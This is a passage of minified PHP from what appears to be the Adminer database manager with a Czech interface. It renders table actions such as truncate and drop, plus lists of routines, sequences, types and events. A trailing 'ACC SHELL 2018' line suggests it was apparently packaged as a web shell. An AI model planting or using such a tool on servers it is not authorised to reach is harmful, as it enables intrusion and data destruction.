value='".'Analyzovat'."'".on_help("'ANALYZE TABLE'")."> ".$Ie."<input type='submit' name='check' value='".'Zkontrolovat'."'".on_help("'CHECK TABLE'")."> "."<input type='submit' name='repair' value='".'Opravit'."'".on_help("'REPAIR TABLE'")."> ":"")))."<input type='submit' name='truncate' value='".'Vyprázdnit'."'".confirm().on_help($w=="sqlite"?"'DELETE'":"'TRUNCATE".($w=="pgsql"?"'":" TABLE'"))."> "."<input type='submit' name='drop' value='".'Odstranit'."'".confirm().on_help("'DROP TABLE'").">\n";$j=(support("scheme")?$b->schemas():$b->databases());if(count($j)!=1&&$w!="sqlite"){$k=(isset($_POST["target"])?$_POST["target"]:(support("scheme")?$_GET["ns"]:DB));echo"<p>".'Přesunout do jiné databáze'.": ",($j?html_select("target",$j,$k):'<input name="target" value="'.h($k).'" autocapitalize="off">')," <input type='submit' name='move' value='".'Přesunout'."'>",(support("copy")?" <input type='submit' name='copy' value='".'Zkopírovat'."'>":""),"\n";}echo"<input type='hidden' name='all' value='' onclick=\"selectCount('selected', formChecked(this, /^(tables|views)\[/));".(support("table")?" selectCount('selected2', formChecked(this, /^tables\[/) || $S);":"")."\">\n";echo"<input type='hidden' name='token' value='$T'>\n","</div></fieldset>\n";}echo"</form>\n","<script type='text/javascript'>tableCheck();</script>\n";}echo'<p class="links"><a href="'.h(ME).'create=">'.'Vytvořit tabulku'."</a>\n",(support("view")?'<a href="'.h(ME).'view=">'.'Vytvořit pohled'."</a>\n":"");if(support("routine")){echo"<h3 id='routines'>".'Procedury a funkce'."</h3>\n";$Zf=routines();if($Zf){echo"<table cellspacing='0'>\n",'<thead><tr><th>'.'Název'.'<td>'.'Typ'.'<td>'.'Návratový typ'."<td> </thead>\n";odd('');foreach($Zf
as$K){echo'<tr'.odd().'>','<th><a href="'.h(ME).($K["ROUTINE_TYPE"]!="PROCEDURE"?'callf=':'call=').urlencode($K["ROUTINE_NAME"]).'">'.h($K["ROUTINE_NAME"]).'</a>','<td>'.h($K["ROUTINE_TYPE"]),'<td>'.h($K["DTD_IDENTIFIER"]),'<td><a href="'.h(ME).($K["ROUTINE_TYPE"]!="PROCEDURE"?'function=':'procedure=').urlencode($K["ROUTINE_NAME"]).'">'.'Změnit'."</a>";}echo"</table>\n";}echo'<p class="links">'.(support("procedure")?'<a href="'.h(ME).'procedure=">'.'Vytvořit proceduru'.'</a>':'').'<a href="'.h(ME).'function=">'.'Vytvořit funkci'."</a>\n";}if(support("sequence")){echo"<h3 id='sequences'>".'Sekvence'."</h3>\n";$lg=get_vals("SELECT sequence_name FROM information_schema.sequences WHERE sequence_schema = current_schema()");if($lg){echo"<table cellspacing='0'>\n","<thead><tr><th>".'Název'."</thead>\n";odd('');foreach($lg
as$X)echo"<tr".odd()."><th><a href='".h(ME)."sequence=".urlencode($X)."'>".h($X)."</a>\n";echo"</table>\n";}echo"<p class='links'><a href='".h(ME)."sequence='>".'Vytvořit sekvenci'."</a>\n";}if(support("type")){echo"<h3 id='user-types'>".'Uživatelské typy'."</h3>\n";$Dh=types();if($Dh){echo"<table cellspacing='0'>\n","<thead><tr><th>".'Název'."</thead>\n";odd('');foreach($Dh
as$X)echo"<tr".odd()."><th><a href='".h(ME)."type=".urlencode($X)."'>".h($X)."</a>\n";echo"</table>\n";}echo"<p class='links'><a href='".h(ME)."type='>".'Vytvořit typ'."</a>\n";}if(support("event")){echo"<h3 id='events'>".'Události'."</h3>\n";$L=get_rows("SHOW EVENTS");if($L){echo"<table cellspacing='0'>\n","<thead><tr><th>".'Název'."<td>".'Plán'."<td>".'Začátek'."<td>".'Konec'."<td></thead>\n";foreach($L
as$K){echo"<tr>","<th>".h($K["Name"]),"<td>".($K["Execute at"]?'V daný čas'."<td>".$K["Execute at"]:'Každých'." ".$K["Interval value"]." ".$K["Interval field"]."<td>$K[Starts]"),"<td>$K[Ends]",'<td><a href="'.h(ME).'event='.urlencode($K["Name"]).'">'.'Změnit'.'</a>';}echo"</table>\n";$oc=$g->result("SELECT @@event_scheduler");if($oc&&$oc!="ON")echo"<p class='error'><code class='jush-sqlset'>event_scheduler</code>: ".h($oc)."\n";}echo'<p class="links"><a href="'.h(ME).'event=">'.'Vytvořit událost'."</a>\n";}if($Mg)echo"<script type='text/javascript'>ajaxSetHtml('".js_escape(ME)."script=db');</script>\n";}}}page_footer();
ACC SHELL 2018